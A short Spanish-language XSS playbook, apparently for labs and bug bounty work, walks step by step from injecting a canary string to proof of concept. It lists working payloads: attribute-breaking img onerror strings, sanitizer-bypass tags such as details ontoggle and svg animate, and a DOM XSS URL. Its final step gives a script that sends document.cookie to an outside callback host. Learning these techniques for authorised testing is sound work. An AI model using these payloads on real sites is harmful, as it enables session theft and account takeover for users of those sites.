Labs de XSS

Playbook práctico — del recon a la prueba de concepto.

1. 1

   Sembrar un marcador único

   Inyecta un canario inofensivo con caracteres de ruptura en cada parámetro reflejado y búscalo en la respuesta. Te dice si tu input llega sin codificar y en qué contexto cae.

   bbtest'"><svg/

2. 2

   Identificar el contexto de inyección

   Mira dónde aterriza el canario: dentro de HTML, de un atributo, de un bloque <script>, de una URL o de JSON. Cada contexto necesita un payload distinto para romperse.

   <input value="bbtest">  →  necesitas cerrar el atributo: "><img...>

3. 3

   Romper el contexto y ejecutar

   Cierra el tag/atributo y dispara un evento que no requiera <script> (suelen estar filtrados). onerror/onload son los más fiables.

   "><img src=x onerror=alert(document.domain)>

4. 4

   Bypassear el sanitizador

   Si DOMPurify o el WAF filtran lo obvio, prueba tags/eventos menos comunes, mutaciones de mXSS, mayúsculas mezcladas o SVG/MathML.

   <details open ontoggle=alert(document.domain)>  ·  <svg><animate onbegin=alert(1) attributeName=x dur=1s>

5. 5

   Probar un sink DOM

   Para DOM XSS, busca en el JS sinks como innerHTML, document.write, location o eval alimentados por location.hash/search sin sanitizar.

   https://target/#<img src=x onerror=alert(document.domain)>

6. 6

   Demostrar impacto real

   No te quedes en alert(1). Exfiltra la cookie de sesión o haz una acción autenticada para subir la severidad y el bounty. Para blind XSS usa un callback.

   "><script>new Image().src='//x.oast.fun/c?'+document.cookie</script>